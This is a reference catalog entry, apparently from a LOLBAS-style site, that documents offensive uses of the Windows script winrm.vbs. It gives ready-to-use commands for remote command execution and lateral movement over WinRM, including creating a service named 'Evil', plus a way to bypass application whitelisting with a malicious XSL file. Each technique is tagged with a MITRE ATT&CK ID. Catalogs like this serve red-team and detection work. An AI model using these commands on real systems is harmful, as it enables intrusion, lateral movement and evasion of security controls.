CatalogLOLBAS

LOL · Script

winrm.vbs

3 techniquesWindowsLOLBASGPL-3.0

Execute

ExecutionWindows

Lateral movement/Remote Command Execution via WMI Win32_Process class over the WinRM protocol

Use Proxy execution

winrm invoke Create wmicimv2/Win32_Process @{CommandLine="{CMD}"} -r:http://target:5985
Evidence
Upstream reference
Environment
Local host
Context
user
Native
Execute
MITRE
T1216

Execute

ExecutionWindows

Lateral movement/Remote Command Execution via WMI Win32_Service class over the WinRM protocol

Use Proxy execution

winrm invoke Create wmicimv2/Win32_Service @{Name="Evil";DisplayName="Evil";PathName="{CMD}"} -r:http://acmedc:5985 && winrm invoke StartService wmicimv2/Win32_Service?Name=Evil -r:http://acmedc:5985
Evidence
Upstream reference
Environment
Local host
Context
admin
Native
Execute
MITRE
T1216

AWL Bypass

AWL / Policy BypassWindows

Bypass AWL solutions by copying cscript.exe to an attacker-controlled location; creating a malicious WsmPty.xsl in the same location, and executing winrm.vbs via the relocated cscript.exe.

Use Execute arbitrary, unsigned code via XSL script

%SystemDrive%\BypassDir\cscript //nologo %windir%\System32\winrm.vbs get wmicimv2/Win32_Process?Handle=4 -format:pretty
Evidence
Upstream reference
Environment
Local host
Context
user
Native
AWL Bypass
MITRE
T1220